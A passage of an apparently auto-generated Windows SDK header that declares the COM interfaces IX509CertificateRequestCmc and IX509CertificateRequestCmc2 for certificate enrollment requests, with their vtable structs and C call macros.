(This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCmc_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCmc_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCmc_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestCmc_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCmc_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCmc_InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName) ) \n\n#define IX509CertificateRequestCmc_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_TransactionId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_TransactionId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SenderNonce(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SenderNonce(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_SenderNonce(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SenderNonce(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_ArchivePrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivePrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ArchivePrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ArchivePrivateKey(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_KeyArchivalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyArchivalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_KeyArchivalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyArchivalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_EncryptedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHash(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_get_SignerCertificates(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificates(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCmc_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCmc2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCmc2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCmc2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35d-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCmc2 : public IX509CertificateRequestCmc\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromInnerRequestTemplate( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( \n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes = AllowedKeySignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckCertificateSignature( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCertificate,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCmc2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCmc2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplateName )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHash )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificates )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplate )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckCertificateSignature )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCertificate,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCmc2Vtbl;\n\n    interface IX509CertificateRequestCmc2\n    {\n        CONST_VTBL struct IX509CertificateRequestCmc2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCmc2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCmc2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCmc2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCmc2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCmc2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCmc2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCmc2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCmc2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCmc2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCmc2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCmc2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> 